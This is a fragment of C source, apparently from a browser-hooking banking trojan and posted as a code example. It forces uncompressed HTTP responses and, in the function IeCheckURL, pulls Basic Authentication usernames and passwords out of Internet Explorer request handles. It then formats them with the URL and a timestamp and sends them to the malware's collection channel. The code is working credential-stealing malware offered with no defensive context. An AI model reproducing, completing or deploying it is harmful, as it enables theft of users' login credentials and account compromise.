		ReleaseHandle(Ctx);

	if (Ctx)
	{
		if	((lpszHeaders) && (dwHeadersLength == -1))
			// Setting "Accept-Encoding: identity" header
			NewHeaders = HttpSetHeaderA(lpszHeaders, szAcceptEncoding, szIdentity, NULL);
	}

	if (pCtx)
		*pCtx = Ctx;

	return(NewHeaders);
}
Exemple #20
0
//
//	Checks if the specified handle associated with URL that has any submited action within the config.
//	Tries to extract and send basic authentication data if any.
//
static ULONG IeCheckURL(
	HANDLE	hRequest, 
	LPSTR	Referer,
	PVOID*	ptCtx
	)
{
	ULONG	Status = URL_STATUS_UNDEF;
	ULONG	bSize = 0;
	LPTSTR	Url, pUser = NULL, pPass = NULL, FmtStr = NULL;

	InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bSize);

	if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))
	{
		if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		{
			Url[bSize] = 0;
			Status = ConfigCheckInitUrl(Url, Referer, ((StrStrI(Url, szHttps) == Url) ? TRUE : FALSE), ptCtx);

			// Queryin the Basic Authentication data
			bSize = MAX_USER_LEN * sizeof(_TCHAR);

			do	// not a loop
			{
				if (!(pUser = (LPTSTR)hAlloc(bSize)))
					break;

				if (!(pPass = (LPTSTR)hAlloc(bSize)))
					break;

				if (!InternetQueryOption(hRequest, INTERNET_OPTION_USERNAME, pUser, &bSize) || pUser[0] == 0)
					break;

				bSize = MAX_USER_LEN * sizeof(_TCHAR);
				if (!InternetQueryOption(hRequest, INTERNET_OPTION_PASSWORD, pPass, &bSize) || pPass[0] == 0)
					break;

				FmtStr = hAlloc((cstrlen(szDateTimeFmt) + cstrlen(szBasicFmt) + lstrlen(Url) + MAX_USER_LEN + MAX_USER_LEN + 1) * sizeof(_TCHAR));

				if (FmtStr)
				{
					bSize = PsSupPrintDateTime(FmtStr, NULL, TRUE);
					bSize += wsprintf(FmtStr + bSize, szBasicFmt, Url, pUser, pPass);
#ifdef _SEND_FORMS
					ConfSendData(FmtStr, bSize, SEND_ID_AUTH, NULL, FALSE);
#else
					PipeSendCommand(CMD_STORE_AUTH, FmtStr, bSize, NULL);
#endif
					hFree(FmtStr);
				}

			} while(FALSE);

			if (pUser)
				hFree(pUser);
			if (pPass)
				hFree(pPass);

		}	// if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		hFree(Url);
	}	// if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))

	return(Status);
}